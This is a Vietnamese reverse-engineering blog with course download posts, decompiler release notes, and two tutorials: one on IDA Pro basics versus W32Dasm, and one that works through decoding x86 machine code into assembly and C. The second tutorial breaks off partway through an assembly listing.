Dear all,

Vậy là một năm cũ với bao buồn vui đã qua đi, một năm mới đã đến với nhiều điều bất ngờ còn tiềm ẩn phía trước. Nhân dịp năm Nhâm Thìn đã sang, tôi xin gừi lời chúc tới toàn thể các bạn vẫn còn dành thời gian ghé qua blog này một năm mới SỨC KHỎE – THÀNH CÔNG – HẠNH PHÚC. Xin cảm ơn các bạn vẫn còn dành tình cảm và sự quan tâm tới tôi, tới những bài viết của tôi, đó chỉ là những đóng góp nhỏ bé của tôi dành tặng các bạn. Rất mong sẽ có những bạn đâu đó còn đang “ẩn” mình, những “mầm” tài năng mới sẽ sẵn sàng cống hiến và chia sẻ hết mình không vụ lợi. Một lần nữa xin chúc tất cả các bạn:

“MỘT CÁI ĐẦU LẠNH ĐỂ VỮNG VÀNG TRƯỚC SÓNG GIÓ GIAN NAN

MỘT TRÁI TIM ĐỎ LỬA ĐỂ YÊU VÀ LÀM VIỆ C HẾT MÌNH”

Best Regards

m4n0w4r

Authored by: Mario Hewardt
Duration: 2h 17m
Level: Advanced
Released: 12/6/2011
This is Part II of the Advanced Windows Debugging course – a deep dive into advanced debugging on Windows. Learn how to use the powerful Debugging Tools for Windows debuggers as well as the internals of key Windows components to reduce the amount of time to resolution for tough bugs.

Learn the internals of Windows and how to master the powerful Debugging Tools for Windows debuggers.

CONTENTS:

Thread Synchronization
Power Tools
Windows Error Reporting

Download here: http://www.fshare.vn/file/3XP57MZN0V/

Best Regards

m4n0w4r

Authored by: Mario Hewardt
Duration: 2h 6m
Level: Advanced
Released: 11/17/2011
Learn the internals of Windows and how to master the powerful Debugging Tools for Windows debuggers.

This course is a deep dive into advanced debugging on Windows. Learn how to use the powerful Debugging Tools for Windows debuggers as well as the internals of key Windows components to reduce the amount of time to resolution for tough bugs.

Contents:

Debugging Fundamentals 00:52:14
Heap Corruptions 00:38:14
Resource Leaks 00:36:06

Download here: http://www.fshare.vn/file/GXMT8DMK40/

Regards

m4n0w4r

This is the new year gift from FFF team!!!!

What's new in this version:
- Calling VTable properties and methods from some form to any other
  form now can be decompiled. For example if you change in Form1
  property of object in Form2 - it can be correctly decompiled (Native Code)
- Parameters of object method/property is now typicle. If object
  have parameters as boolean or single - it will be decompiled correctly:
  single as float variable, boolean as True/False) (Native Code)
- Decompile declaration of all types of array. Multifield arrays and
  arrays of object (array of Form or commandButton for example) also
  supported (Native Code)
- Decompile __vbaVar2Vec, __vbaAryMove msvbvm functions
- Italian language translation
- Parsing control array index in events
- Parsing function return value (P-Code)
- Help files (English and Russian) is updated. New topics writen:
  Opening file, Working with database, Saving the list of procedures,
  Jump to address, The main window, Viewing of code, Decompilation from offset,
  Language selection, Plugins
- Language files changed
- BugFix: Correctly calculate count of parameters in public sub's
- BugFix: Procedure analyzer and optimazer now correctly process second parameter in For command
- BugFix: Correctly process some types of VarType integer and long (Native Code)
- BugFix: Correctly detect end of some non-standard procedures in source mode (Native Code)

Download here: http://www.fshare.vn/file/JOUDRGG04N/

Regards
m4n0w4r

The WordPress.com stats helper monkeys prepared a 2011 annual report for this blog.

Here’s an excerpt:

The concert hall at the Syndey Opera House holds 2,700 people. This blog was viewed about 51,000 times in 2011. If it were a concert at Sydney Opera House, it would take about 19 sold-out performances for that many people to see it.

Click here to see the complete report.

Bài này được viết vào khoảng cuối tháng 3 năm 2006, tuy cũ nhưng những kiến thức của nó vẫn còn như mới :-)

IDA Pro Advanced changes our life

Author: _[kienmanowar]_

I. Intro :

Chào tất cả các anh em REA, đã lâu rồi tôi không có viết tut kể từ ngày lão nhỏ rút lui.Không hiểu lão nhỏ đang bận cái quái quỉ gì mà ngay cả YM cũng chẳng thấy thò mặt mũi lên lấy 1 lần.Mặc dù rất ngứa tay và muốn viết thật nhiều cho REA, nhưng khi đặt tay lên bàn phím tôi không biết phải bắt đầu từ đâu và viết về vấn đề gì, cộng thêm phải đi cày để gom tiền cưới vợ nên cũng chẳng có nhiều thời gian ..khà khà.Lão nhỏ ra đi để lại độc một cái tut về IDA cho anh em, mà trong khi đó chắc anh em cũng như tôi còn muốn nhiều hơn thế, nhưng thôi thì cũng phải thông cảm cho lão nhỏ chắc giờ này lão cũng đi cày để gom tiền như tôi thôi. Trong REA, hễ cứ thấy động tới IDA là y như rằng anh em lặng im phăng phắc chẳng thấy bàn tán gì nhiều, tôi cũng như anh em thôi cũng muốn voọc IDA lắm chứ nhưng …. Hôm rồi, thấy anh Be có tạo một Thread “Learning IDA online” tôi nghĩ rằng đây là một Thread rất cần thiết và bổ ích cho anh em muốn tìm hiểu về IDA như tôi, nhưng ngặt nỗi tài liệu về IDA khá khiêm tốn trong khi đó ứng dụng của nó trong Reverse lại là rất lớn.Hii anh Be đã lên tiếng thì thằng em này cũng cố theo, hôm nay mạn phép xin viết một bài rất cơ bản về IDA để anh em đọc chơi, anh em nào đã biết rồi thì xin góp ý cho bài viết để tôi còn biết đường mà sửa, còn những anh em nào chưa biết thì …. Let’s go J

Bài viết này tôi tổng hợp lại từ bài viết của tác giả BlackBird, đã viết từ năm 2000.Có thể anh em cho rằng nó quá cũ, nhưng có một câu “Cũ người mới ta”, thế giới đã đi trước chúng ta bao nhiêu năm thì giờ đây chúng ta phải chắt lọc những gì tính túy nhất để mà học hỏi.Bài viết này tôi sẽ giới thiệu cho các bạn một số chức năng của IDA, để các bạn thấy được tại sao IDA lại được đánh giá cao đến thế. Như các bạn thấy đối với những Newbies thì khi nhìn vào cửa sổ chương trình IDA, hehe điều đầu tiên họ làm là nhấn nút “X” ở góc trên phải màn hình, để làm gì thì khỏi nói các bạn cũng biết nhưng còn đối với những Elite Reverses thì IDA lại là một công cụ không thể thiếu được.Tại sao các Newbies mới ban đầu khi tiếp xúc với IDA lại có thái độ như trên, đó là bởi vì IDA có quá nhiều các hàm và các chức năng mở rộng đồng thời việc sử dụng IDA phức tạp hơn nhiều so với W32Dasm.Phần tiếp theo đây của bài viết sẽ đưa ra những lời giải thích ngắn gọn và trong sáng nhất về việc tại sao bạn nên sử dụng IDA trong khi bạn đã khá thành thạo trong việc sử dụng W32Dasm.

II. IDA: A power disassembler

Điều đầu tiên mà chúng ta nhận thấy một cách rõ ràng khi chạy IDA đó là giao diện của chương trình trông cực kì chuyên nghiệp và hơn hẳn W32Dasm. Có rất nhiều các tùy chọn cũng nhữ những tính năng cấp cao mà ở W32Dasm không có. Điều này có một thuận lợi đó là các bạn có thể Disassemble tốt hơn và chi tiêt hơn, nhưng đó cũng là điều không thuận lợi khiến IDA trở nên rất khó trong việc làm quen và sử dụng nó.

Tuy nhiên, trên thực tế IDA vẫn có đầy đủ các tính năng tương như W32Dasm như : Bạn có thể nhảy tới chính xác một đoạn code nào đó, bạn có thể quan sát vị trí nơi mà một lệnh nhảy nhảy tới một đoạn code, hay bạn có thể xem các String References v..v..

Điều khó khăn đầu tiên cho tất cả các Newbies đó chính là quá trình tìm kiếm các String References. Trong W32Dasm chúng ta có một nút bấm mà theo đó chúng ta có thể xem trực tiếp tất cả các String References rất dễ dàng. Trong IDA, tính năng này được đặt trong Menu: View à Names.

Giả sử chúng ta đã mở một file .exe trong IDA, một hộp thoại bật ra cung cấp cho chúng ta rất nhiều tùy chọn. Đừng có đụng tới bất cứ cái gì, chỉ việc nhấn ‘OK’. Sau đó IDA sẽ thực hiện công việc Analysis và sau khi thực hiện xong bạn hãy mở theo như hình trên chúng ta có được như sau :

Oki, chúng ta đang ở cửa sổ Names, vậy làm thế nào để nhận biết ra đâu là String References.Như đã nói ở phần trên W32Dasm có một nút bấm riêng phục vụ cho công việc này, nhưng còn trong IDA các string reference được gắn vào trước bởi một chữ ‘a’.Để tìm kiếm một string bạn chỉ việc nhấn ‘a’ trên bàn phím tại cửa sổ Names, tương tự như việc tìm kiếm các hàm API trong Ollydbg.Hoặc các bạn có thể cuộn chuột để tìm kiếm, cho đến khi thấy được như sau :

Đó chính là các String Reference mà IDA đã chỉ ra vị trí của chúng cho chúng ta thấy.Và đương nhiên tương tự như W32Dasm, khi tìm thấy một String đáng quan tâm chúng ta sẽ tìm đến vị trí của nó, trong IDA bạn nhấn Enter hoặc nhấp đúp vào String chúng ta sẽ đến vị trí mà String đó ở tại.

Kết quả chúng ta sẽ được như hình minh họa trên. Tai đây bạn quan sát sẽ thấy có một tham chiếu được đặt cạnh String của chúng ta, nó có dạng như sau : DATA XREF: .text:XXXXXXXX­o, chi tiết về các thành phần tôi sẽ đề cập trong bài viết sau. Ý nghĩa của cái Reference này cho chúng ta biết nơi mà String của chúng ta thực sử được sử dụng trong đoạn code của chương trình.Rê chuột vào địa chỉ XXXXXXXX, IDA sẽ cho chúng ta thấy được như sau điều mà ở W32Dasm không có được :

Để thực sử tới đoạn code sử dụng String chúng ta chỉ việc nhấn đúp chuột vào địa chỉ đó, nó sẽ đưa chúng ta đến nơi chúng ta cần đến :

Khà khà rất đơn giản phải không nào, đâu có gì là quá khó phải không các bạn. Tiếp theo chúng ta sẽ đề cập đến một số tính năng khác của W32Dasm mà cũng được IDA hỗ trợ rất tốt đó là các lệnh nhảy (Jump) và các lời gọi Call References.Tôi xin lấy 2 hình minh họa cho quá trình Disassembly một chương trình trong W32Dasm và IDA để các bạn nhận thấy được sự khác biệt.

Như các bạn thấy, IDA cung cấp các thông tin chi tiết và rõ ràng hơn nhiều.Tiếp theo ta sẽ xem một ví dụ về Reference. Trong W32Dasm các ban sẽ thấy như sau :

Còn trong IDA nó sẽ được thể hiện như sau :

Nhìn vào hình minh họa trong IDA, ta thấy rằng IDA cho chúng ta nhiều thông tin mặc dù trông nó có vẻ ngắn gọn hơn W32Dasm.Cụ thể như sau :

  1. Đây là một lệnh nhảy vì ta thấy có kí tự (j). Thêm nữa lệnh nhảy này nằm ở phía trên của địa chỉ 0x0040132D, tại sao lại biết được nó nằm phía trên đó là do ta thấy có hình mũi tên lên (­).
  2. Lệnh nhảy tới đoạn code bắt đầu tại địa chỉ 0x0040132D này nằm tại địa chỉ 0x0040131A (= DialogFunc + 29). Bạn sẽ hỏi làm sao tôi biết địa chỉ của DialogFunc, xin thưa rất đơn giản bạn chỉ cần nhấn chuột vào chữ DialogFunc và chọn Edit Function hay phím tắt là Alt+P, ta sẽ có được thông tin về địa chỉ như sau :

Vậy là 0x0040131A = 0x004012F1 + 0×29

  1. Lệnh nhảy này được nằm tại .CODE section.

Nếu như Reference là một lời gọi (CALL) thì trong IDA nó sẽ được thể hiện như sau :

Một trong những tính năng tuyệt vời khác của IDA đó chính là việc thể hiện các biến được dùng trong chương trình.Thậm chỉ bạn có thể nhấn đúp chuột vào chúng để đi tới địa chỉ nơi mà các biến được lưu trữ : Lea edi, [esp + 1B8h + var_104]

Một trong những tính năng khiến cho IDA trở thành một công cũ rất mạnh đó chính là việc sử dụng Flirt Signatures. Giải thích một cách đơn giản nhất đó là trong quá trình disassembly IDA cố gắng nhận diện chính xác các hàm thư viện có liên quan với trình biên dịch. Ví dụ :

Wow các bạn có nhận thấy sự khác biệt không? Riêng tôi thì IDA quả là tuyệt, nó nói cho ta tất cả mọi thứ, rõ ràng như ban ngày.

Một số tính năng khác tương tự với W32Dasm đó là “Goto code location” thì trong IDA là “Jump-Jump to Address”. Hay “Goto entrypoint” thì trong IDA sẽ là “Jump – Jump to entry point”.

Đó là một số tính năng quan trọng nhất khi chúng ta bắt đầu con đường chinh phục IDA. Ah tôi quên mất, trong IDA còn một tính năng khá thú vị nữa đó chính là thỉnh thoảng chúng ta thấy có rất nhiều đoạn như sau ‘db’ mà lại không thấy có các String References, nhưng đó lại chính là những đoạn code. Chỉ việc trỏ chuột vào và nhấn phím tắt C trên bàn phím, ngay lập tức IDA sẽ chuyển nó thành code. Ví dụ như sau :

Còn lý do tại sao chắc tôi sẽ viết một bài về việc làm thế nào để hiểu một đoạn code có ý nghĩa gì.Đến đây coi như là kết thúc quá trình tôi cùng các bạn tìm hiểu một số tính năng của IDA. Sau khi bạn đọc bài viết này của tôi có thể bạn sẽ đặt cho mình một câu hỏi “Liệu tôi có nên tiếp tục sử dụng W32Dasm nữa không”, câu trả lời nằm ở chính bạn.Còn riêng với cá nhân tôi, tôi sẽ vẫn giữ lại W32Dasm vì trong một số trường hợp đơn giản nó vẫn rất có ích.

III. Lời kết

Vậy là tut này đến đây là kết thúc, 7 trang giấy trong bài viết này không thể nói hết được những tính năng rất mạnh của IDA. Chỉ có thực sự bắt tay vào công việc chúng ta mới thấy được, mới tìm hiểu được những tính năng rất mạnh của nó. Không lý do gì mà IDA lại được giới Reverser cũng như giới Security yêu thích đến thế, chắc chắn nó sẽ có nhiều điều thú vị nữa khiến cho mọi người đều đam mê. Bài viết này của tôi chỉ là một phần nhỏ giới thiệu về IDA, hi vọng nó đã mang đến cho các bạn một cái nhìn khác về chương trình Disassembly rất mạnh này.Rất cảm ơn anh em đã dành thời gian đọc nó.

PS : Hi vọng anh TQN, Thug và light.phoenix có thời gian viết vài bài cho anh em mở rộng tầm mắt :)

Best Regards

_[Kienmanowar]_

–++–==[ Greatz Thanks To ]==–++–
My family, Computer_Angel, Moonbaby , Zombie_Deathman, Littleboy, Benina, QHQCrker, the_Lighthouse, Merc, Hoadongnoi, Nini … all REA‘s members, TQN, HacNho, RongChauA, Deux, tlandn, light.phoenix, dqtln, ARTEAM …. all my friend, and YOU.

–++–==[ Special Thanks To ]==–++–
- coruso_trac, pat, trm_tr. Thug4lif3, vn_blackrain, v..v.. and all brothers in VSEC

–++–==[ Thanks To ]==–++–

iamidiot, WhyNotBar, trickyboy, dzungltvn, takada, hurt_heart, haule_nth, hytkl v..v.. các bạn đã đóng góp rất nhiều cho REA. Hi vọng các bạn sẽ tiếp tục phát huy :-)


>>>> If you have any suggestions, comments or corrections email me: kienmanowar[at]reaonline.net

Understanding Code!

Posted: September 10, 2008 in IDA Tutorials, Understanding Code

Understanding Code

Author: _[kienmanowar]_

“Cuộc sống luôn đầy cám dỗ

Ngày ngày níu kéo con người

Làm sao thắng được chính mình…Làm sao…

Ngựa non lớn lên thường háu đá

Tuổi trẻ nào suy tính gì

Nên đi tới con đường bế tắc

Chìm sâu… trong bóng tối”

I. Intro :

Chào tất cả anh em REA, chúng ta lại gặp nhau trong bài viết này của tôi viết về “Understanding Code”. Đây là bài viết của tác giả Kwazy Webbit, đề cập tới vấn đề đọc hiểu code của các chương trình được Disassembly bằng W32Dasm, IDA v..v.. Tại sao tôi lại chọn nó là chủ đề cho bài viết thứ 3 này bởi vì một lý do hết sức đơn giản, có đọc hiểu code chúng ta mới biết được chương trình đang làm gì, đoạn code mà chúng ta đang RE được dùng vào mục đích gì, đề từ đó có những thay đổi chỉnh sửa sao cho hợp lý để phục vụ mục đích của chúng ta. Hầu hết những anh em tôi quen biết đến với RE, Cracking theo những cách thức khác nhau, có người muốn chỉ trong một thời gian ngắn có thể Crack được một phần mềm mà không cần tìm hiểu xem tại sao lại làm như thế, nhiều người chỉ thực hiện theo các tut một cách dập khuôn, ăn sẵn để rồi cuối cùng vẫn luẩn quẩn với những câu hỏi “Tại sao lại làm như thế ?” , “Tại sao tôi làm thế không được ?” v…v… mà không hề có một chút đầu tư nghiên cứu tìm hiểu, nhưng ngược lại có những người đi từ những viên gạch đầu tiên, từ từ từng bước một, những viên gạch của quá trình lạo động tìm hiểu nghiêm túc, tốn nhiều mồ hôi, nước mắt để rồi bù lại họ có được những kiến thức làm tôi kinh ngạc.Có những người còn rất trẻ và những người lớn tuổi hơn tôi, có người chuyên về IT và cũng có người không. Nhưng những người đó đã để lại cho tôi lòng khâm phục bởi tinh thần làm việc nghiêm túc, lòng đam mê, sự chia sẻ kiến thức tới cộng đồng không hề vụ lợi.

Việc chúng ta tìm hiểu xem một đoạn binary biểu diễn ý nghĩa gì là một công việc quan trọng.Các đoạn mã thực thi và dữ liệu được biểu diễn ở mức thấp nhất đó là tập hợp của các bit 0 và 1.Bạn có thể cố gắng cho thực thi một đoạn dữ liệu như một đoạn mã, nhưng hầu hết trong các trường hợp việc làm này sẽ dẫn đến crash.Lấy ví dụ, việc cố gắng để sử dụng một đoạn mã thực thi như là một Picture data cũng sẽ là không hợp lệ hoặc ngược lại, nhưng đó chỉ là một sự ngẫu nhiên nào đó mà thôi. Đó là bởi vì có một cấu trúc để biểu diễn chúng khiến cho chúng không chỉ đơn thuần là binary mà còn bao hàm nhiều ý nghĩa khác. Để giúp ích cho bạn, bạn cần phải tìm hiểu về cấu trúc này và từ đó sẽ diễn dịch được nó theo đúng cách.

Để cụ thể hơn, tôi sẽ lấy một ví dụ, chẳng hạn tôi có 4 con số như sau :

112, 43, 149, 184

Như các bạn thấy chúng có thể mang rất nhiều ý nghĩa. Nếu như tôi nói với bạn rằng đây là ví dụ về một đường thẳng, và hãy tưởng tượng rằng đây là một đường thẳng 2 chiều, bắt đầu tại tọa độ thứ nhất là (112, 43) và kết thúc tại tọa độ thứ hai là (149, 184). Tuy nhiên nếu như có ai đó lại nói với bạn là đây chính là một hình vuông, liệu bạn có tin không? Tôi thì tin liền khà khà bởi vì đơn giản tôi nghĩ đây là một hình vuông với 4 các tọa độ của nó. Như các bạn thấy, 4 con số trên có rất nhiều ý nghĩa đúng không, tất cả chúng đều phụ thuộc vào sự suy diễn của bạn và tôi. Điều này sẽ dẫn đến nhiều vấn đề, làm sao chúng ta có thể phán đoán hết được ý nghĩa của chúng, và làm sao chúng ta chọn được một phương án đúng nhất trong đó? Máy tính sẽ dùng cách thức nào để có thể hiểu được? Làm thế nào chúng ta biết được điều gì đang thực sự xảy ra ? Trong bài viết này, tôi sẽ không đi vào tìm hiểu ngữ nghĩa của data, bởi vì các cấu trúc dữ liệu là quá nhiều (như các bạn đã thấy trong ví dụ ở trên). Mỗi một định dạng file sẽ có một cấu trúc dữ liệu. Chương trình sử dụng các phần mở dụng của file (.exe, .dll v..v..) như là một ám hiệu để biết cách cư xử với từng cấu trúc.

Thay vào đó, tôi và các bạn sẽ tập trung vào các đoạn code thực thi, đặc biệt là các đoạn code cho x86 processor. Chúng ta sẽ bắt đầu từ binary và kết thúc với ngôn ngữ C.

II. Binary to Hexadecimal

Như tôi đã nói ở trên, mức biểu diễn thấp nhất của thông tin (trong một môi trường máy tính) là binary. Các đoạn mã mà máy tính có thể hiểu được được biểu diễn bằng những bit 0 và 1 dài vô tận.Điều này dẫn đến con người khó có thể hiểu được những chuỗi 0 và 1 mà họ nhìn thấy thể hiện cái gì, và điều gì sẽ xảy ra. Nếu như bạn có hứng thú trong việc tìm hiểu nguyên lý hoạt động của các mạch trong CPU, tôi gợi ý bạn nên tìm đọc các quyển sách điện tử.Còn đối với tôi, tôi không biết nhiều về chúng để có thể giải thích cho bạn một cách chi tiết về nguyên lý hoạt động (Mặc dù có một thời gian tôi đã từng làm việc với những bộ vi xử lý đơn giản). Nhằm mục đích giảng giải, binary là một định dạng khó hiểu, vì nếu số lượng các số binary là quá lớn sẽ khiến cho chúng ta khó khăn trong việc quan sát. Đó chính là lý do tại sao các bạn thấy rằng thông thường chúng ta không bao giờ chỉnh sửa bất cứ gì theo định dạng binary, mà thay vào đó chúng được chuyển sang một định dạng dễ hiểu hơn mà tôi và các bạn đều biết, đó chính là Hexadecimal.Nếu như các bạn thấy trong hệ binary chỉ có 2 số 0 và 1, hệ decimal thì có 10 số (0,1,2,3,4,5,6,7,8,9) còn hệ Hexa sẽ có 16 (0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F). Bạn có thể sẽ rất ngạc nhiên là tại sao định dạng Hexa lại được chọn để biểu diễn mà không phải là hệ Decimal đã quá thân thuộc ngay từ khi lọt lòng. Câu trả lời hết sức đơn giản.Đó là bởi vì tất cả các số khi được chuyển đổi vẫn nằm dưới định dang binary.Sử dụng 4bits thì tại một thời điểm bạn có thể tạo ra chính xác 16 giá trị khác nhau từ 4 bits này, bắt đầu từ 0 cho tới 15, theo hệ Hexa thì là từ 0 cho tới F. Điều này khiến cho hệ thống xử lý một cách dễ dàng hơn đơn giản chỉ bằng thay thế 4 bits bằng một số trong hệ Hexa. Dưới đây là bảng minh họa quá trình chuyển đổi giữa các hệ, giúp các bạn phần nào hiểu thêm về những gì mà tôi đã nói :

Binary

Decimal

Hexadecimal

0000

0

0

0001

1

1

0010

2

2

0011

3

3

0100

4

4

0101

5

5

0110

6

6

0111

7

7

1000

8

8

1001

9

9

1010

10

A

1011

11

B

1100

12

C

1101

13

D

1110

14

E

1111

15

F

10000

16

10

Như các bạn đã thấy trên bảng trên, tại giá trị Binary là 1000 thì giá trị ở hệ Hexa là (10), đó là vì con số 1 đầu tiên có thể được biểu diễn thành 0001, trong khi số 0 thứ 2 được biêu diễn bằng (0000). Do đó chúng ta có kết quả là 00010000, giá trị này rất phù hợp với hệ số Binary.

III. Hexadecimal to Assembly Code

Việc sử dụng kí pháp hexadecimal giúp chúng ta viết các đoạn Binary code một cách nhanh hơn, và cho phép chúng ta nhiều cái nhìn tổng quát hơn. Tuy nhiên nó vẫn không có ý nghĩa nhiều lắm cho con người bởi vì thực chất nó vẫn chỉ là những con số. Chúng ta hãy quan sát một ví dụ về đoạn code Hexa dưới đây :

83EC20535657FF158C40400033DBA39881400053

Như tôi đã nói, đây chỉ là một phương pháp biểu diễn nhanh, ngắn gọn cho các số binary.Điều đó có nghĩa là nó không cho chúng ta thấy bất kì một ý nghĩa gì cả, cũng như nhìn vào đó chúng ta chẳng hiểu nó định làm gì, nhưng cái lợi của nó là ngắn gọn hơn so với việc biểu diễn dưới dạng binary rất dài với toàn số 0 và 1. Đoạn Hexa ở trên bao gồm 40 kí tự, trong khi đó nếu chúng ta biểu diễn ở dạng binary chúng ta sẽ có được 160 (40 * 4 bits)

Đoạn mã ở trên không phải là một instruction lớn (thuật ngữ “instruction” ở đây để cập tới đoạn bytes code thực sự). Trên một vài bộ vi xử lý thì mỗi một instruction sẽ có một kích thước nhất định(ví dụ : 2 bytes) vì vậy chúng ta có thể chia code thành các phần một cách dễ dàng theo kích thước để có được các câu lệnh khác nhau (Giả sử rằng bạn sẽ có được một điểm bắt đầu hợp lệ trong đoạn code). Bộ xử lý x86 ít phức tạp hơn nhiều và có các kích thước instruction khác nhau. Bây giờ bạn có thể ngạc nhiên làm thế nào chúng ta có thể luôn luôn tách được các instructions theo cách này.Ý tưởng là như sau, chúng ta lấy byte đầu tiên, nhìn vào giá trị của nó, và byte này sẽ cho bạn biết cách tiến hành như thế nào. Một vài điều có thể xảy ra như sau :

_Nó có thể là một single byte instruction: ví dụ 90h là câu lệnh NOP (No Operation) và kích thước của nó chỉ là 1 byte.

_Có thể câu lệnh đó chưa được hoàn chỉnh: ví dụ Các lệnh (Instructions) mà được bắt đầu bằng 0Fh , chúng ta phải cần thêm các bytes vào sau để nó tạo thành một câu lệnh có nghĩa.

_Câu lệnh được định nghĩa bởi một byte độc lập, nhưng vẫn cần có tham số, ví dụ : 8Bh chuyển một thanh ghi vào trong một thanh ghi khác.Những byte mà theo sau 8Bh sẽ miêu tả nó được chuyển đến từ đâu và nó được chuyển đên đâu.

_Câu lệnh chưa hoàn chỉnh và cần thêm các tham số.

Bởi vì chúng ta sẽ cần phải biết đó là câu lệnh nào để mà tách ra, chúng ta sẽ kết hợp quá trình tách các câu lệnh khác nhau với việc chuyển chúng sang một định dạng mà con người có thể đọc hiểu được một cách tương đương. Ngôn ngữ mà con người có thể đọc hiểu được đó chính là “Assembly Language”, thường được viết tắt là ASM. Quá trình chúng ta chuyển dịch một chương trình từ Code thô (Raw code) sang ASM, được gọi là quá trình “Disassembling”. Việc làm này sẽ cho chúng ta khả năng để đọc hiểu ASM.Để có thể thực hiện được chúng ta cần phải có một số kinh nghiệm.

Vì rằng rõ ràng không có hệ thống nào để hiều một đoạn hexadecimal code thực hiện công việc gì , đó là một công việc cực kì chán ngắt. Tuy nhiên, việc hiểu được nó làm việc thế nào là rất quan trọng.Tôi sẽ chứng minh điều này thông qua ví dụ mà các bạn đã thấy ở trên.

Hãy quan sát lại đoạn Hexadecimal code :

83EC20535657FF158C40400033DBA39881400053

Chúng ta sẽ giả sử rằng byte đầu tiên chính là điểm bắt đầu hợp lệ và chúng ta sẽ bắt đầu phân tích từ đó.Đầu tiên tôi sẽ lấy byte này ra, nó là 83h , sau đó chúng ta thực hiện công việc tra cứu dựa trên một bảng và bảng này tôi để trong phần Phụ lục A1. Khi xem trong bảng này chúng ta thấy nó cần phải có thêm byte khác để mô tả nhiệm vụ của nó một cách đầy đủ nhất, và byte cần sẽ được hình thành từ một “mod R/M” byte. Để có được những gì đầy đủ về nhiệm vụ của câu lệnh chúng ta sử dụng thông tin từ byte này và tra cứu thêm bảng phụ lục thứ 2 (Phụ lục A2) để tìm kiếm thông tin thông qua “group #1”.Trong trường hợp này, byte đó chính là ECh. Một mod R/M byte bao gồm trường 3 bits sau:

Bit :

7

6

5

4

3

2

1

0

Meaning :

mod

reg

R/M

Để phân tách các trường này, chúng ta quay trở lại với binary bằng cách biểu diễn lại ECh :

EC = 1110 1100 = 11 101 100

Sử dụng bảng phụ lục A2, chúng ta sẽ thấy rằng những gì chúng ta biểu diễn ở trên phù hợp với giá trị xx101xxx, và đây chính là cậu lệnh SUB. Hai bit khác sẽ dùng để miêu tả toán hạng đầu tiên của câu lệnh SUB. Chúng ta lại xem tiếp trong một bảng phụ lục thứ 3 (Phụ lục A3), chúng ta tìm thấy 11 có nghĩa là chúng ta sẽ sử dụng trực tiếp một thanh ghi, và giá trị 100 ở trên chính là biểu diễn cho thanh ghi ESP. Quay trở lại bảng phụ lục A1 chúng ta thấy rằng cần phải có một toán hạng nữa để điền vào, đó chính là ‘Ib’ (Input byte). Rất dễ dàng để chúng ta thấy rằng byte tiếp theo đó chính là 20h.

Ghép tất cả những gì chúng ta vừa phân tích ở trên lại với nhau ,chúng ta sẽ có được một câu lệnh ASM đầu tiên :

83EC20 SUB ESP, 20

Okie như các bạn đã thấy, khá phức tạp phải không nào. Chúng ta phải tra đi tra lại mới ra được còn máy tính thì thực hiện quá nhanh J. Tiếp theo chúng ta sẽ tiếp tục quá trình phân tích với câu lệnh kế tiếp, bắt đầu tại giá trị 53h . Tra cứu trên bảng A1 nó cho chúng ta biết đây là một byte độc lập mà không có tham số :

PUSH rBX (= PUSH EBX)

Vậy cuối cùng chúng ta có được kết quả với 4 bytes đầu tiên được biểu diễn bằng ASM :

83EC20 SUB ESP, 20

53 PUSH EBX

Như các bạn đã thấy việc làm này đã tiêu tốn của chúng ta rất nhiều thời gian phải không. Tuy nhiên chúng ta thật may mắn khi có những công cụ đã thực hiện điều này cho chúng ta (ví dụ : HIEW) :

83EC20 sub esp,020

53 push ebx

56 push esi

57 push edi

FF158C404000 call d,[0040408C]

33DB xor ebx,ebx

A398814000 mov [00408198],eax

53 push ebx

Hoặc một cách khác cũng có thể giúp cho công việc của chúng ta đơn giản hơn đó là nhờ đến Ollydbg, chúng ta cũng có được đoạn code tương tự :

Tuy nhiên nhiều khi nhìn vào chúng ta không thể hiểu ngay được ý nghĩa của chúng, vi dụ như địa chỉ ở trên tham chiếu đến hàm nào, có trỏ tới một String nào không v..v.. Để giúp cho chúng ta các chương trình Disassemblers như IDA và W32DASM đã hỗ trợ rất nhiều. Sử dụng IDA, chúng ta sẽ có được nhiều thông tin hơn :

sub esp, 20h

push ebx

push esi

push edi

call ds:GetProcessHeap

xor ebx, ebx

mov hHeap, eax

push ebx ; lpModuleName

Như bạn đã thấy, IDA đã thực hiện thật tuyệt.Nó đã nhận ra được hàm call sẽ gọi tới API nào và nó cũng hiểu được giá trị trả về từ hàm đó, đó là hàm (GetProcessHeap) và do đó nó sẽ đổi tên biến thành hHeap. Đây chỉ là minh họa nhỏ cho thấy những gì IDA có thể làm được, nhưng cũng đủ để thấy rằng nó cung cấp cho chúng ta rất nhiều thông tin hơn là những gì chúng ta quan sát trong HIEW. Điều này thật là tuyệt vời và nó giúp cho chúng ta tiết kiệm được rất nhiều thời gian hơn vào việc làm bằng tay, và bên cạnh đó nó cũng giúp cho chúng ta có một điểm bắt đầu tốt cho quá trình phân tích code về sau.

Nhưng nhiệm vụ tiếp theo và rất quan trọng của chúng ta là làm cách nào để biểu đạt đoạn code dưới dạng ASM đó thành đoạn code dưới dạng cú pháp của một ngôn ngữ bậc cao (ví dụ như C).

IV. Assembly code to C

Bây giờ giả sử rằng tôi và các bạn có một đoạn code ASM, và chúng ta có thể đọc hiểu được nó để biết được chương trình đang làm gì.Tuy nhiên, vì hầu hết các câu lệnh ASM chỉ thực hiện một nhiệm vụ thông thường, do đó rất khó cho chúng ta biết được tổng quát nhiệm vụ của chương trình đang thực hiện cái gì. Hãy xem một đoạn mã ASM dưới đây :

.004122F0: 55 push ebp

.004122F1: 8BEC mov ebp,esp

.004122F3: 83EC48 sub esp,048 ;”H”

.004122F6: 53 push ebx

.004122F7: 56 push esi

.004122F8: 57 push edi

.004122F9: C745F800000000 mov d,[ebp][-08],000000000 ;”

.00412300: EB09 jmps .00041230B —–¯ (1)

.00412302: 8B45F8 mov eax,[ebp][-08]

.00412305: 83C001 add eax,001 ;”J

.00412308: 8945F8 mov [ebp][-08],eax

.0041230B: 8B4508 mov eax,[ebp][08]

.0041230E: 50 push eax

.0041230F: FF1584A34300 call lstrlenA ;KERNEL32.dll

.00412315: 3945F8 cmp [ebp][-08],eax

.00412318: 7D2E jge .000412348 —–¯ (2)

.0041231A: 8B4508 mov eax,[ebp][08]

.0041231D: 0345F8 add eax,[ebp][-08]

.00412320: 8A08 mov cl,[eax]

.00412322: 884DFF mov [ebp][-01],cl

.00412325: 0FB645FF movzx eax,b,[ebp][-01]

.00412329: 83F861 cmp eax,061 ;”a”

.0041232C: 7C18 jl .000412346 —–¯ (1)

.0041232E: 0FB645FF movzx eax,b,[ebp][-01]

.00412332: 83F87A cmp eax,07A ;”z”

